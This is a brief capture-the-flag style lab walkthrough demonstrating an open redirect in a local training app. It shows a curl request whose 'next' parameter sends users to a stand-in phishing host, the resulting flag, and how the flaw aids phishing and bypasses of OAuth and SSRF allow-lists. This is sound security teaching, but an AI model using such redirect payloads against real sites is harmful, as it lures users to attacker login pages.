A trusted link to an untrusted place
Give next a full external URL and the app redirects there anyway:
curl -s 'http://127.0.0.1:8080/app/go?next=https://evil.example/login'In the terminal
student@vulntech:~$ curl -s 'http://127.0.0.1:8080/app/go?next=https://evil.example/login' Redirecting you to https://evil.example/login that sends users off-site to evil.example -- vulntech{open_redirect_sends_users_anywhere}
The danger is trust: the link starts with the real, trusted domain, so a victim (and spam filters) see a legitimate URL — but it lands them on the attacker's lookalike login. Open redirects also help bypass allow-lists in OAuth flows and SSRF filters.